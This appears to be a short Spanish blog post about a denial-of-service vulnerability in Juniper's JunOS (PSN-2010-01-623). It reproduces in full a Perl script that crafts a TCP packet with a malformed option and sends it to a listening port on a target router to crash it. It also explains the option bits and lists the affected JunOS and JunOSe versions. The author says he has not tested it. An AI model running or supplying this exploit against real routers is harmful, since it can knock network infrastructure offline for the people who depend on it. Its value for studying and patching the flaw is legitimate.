Exploit en JunOS PSN-2010-01-623
A traves de evilrouters me he enterado de una vulnerabilidad en JunOS muy similar al ping de la muerte de Windows 95/98.
Como no dispongo de un equipo Juniper de prueba no he podido verificar el problema pero aparentemente es necesario enviar el paquete a un puerto al que este escuchando (no circulando a través), por ejemplo el 22.
Comentan el siguiente código en perl para enviar el paquete:
#!/usr/bin/perl
my $host = shift;
my $port = shift;
use Net::Packet qw($Env);
use Net::Packet::IPv4;
my $ip = Net::Packet::IPv4->new(dst => $host);
use Net::Packet::TCP;
my $tcp = Net::Packet::TCP->new(
dst => $port,
options => "\x65\x02\x01\x01",
);
use Net::Packet::Frame;
my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);
$frame->send;
Mediante options de Net::Packet::TCP define las siguientes opciones del paquete TCP:
01100101 00000010 00000001 00000001
Los dos 1s finales son un padding para que sean 32 bits.
Todas las versiones posteriores al 28 de enero del 2009 tienen corregido este fallo, por lo que las vulnerables son:
- JunOS: 5.0, 5.1, 5.2, 5.3, 5.4, 5.5, 5.6, 5.7, 6.1, 6.2, 6.3, 6.4, 7.3, 8.0, 8.4, 8.5.R1, 8.5R1.14 y 9.0R1.1
- JunOSe: 5.3.5, 6.0.3, 6.0.4, 6.1.3, 7.0.1, 7.0.2, 7.1 y 7.1.1
Es una lástima de no disponer de un equipo para probar de provocarle el core.
Relacionados
Imprimir
Deja un comentario: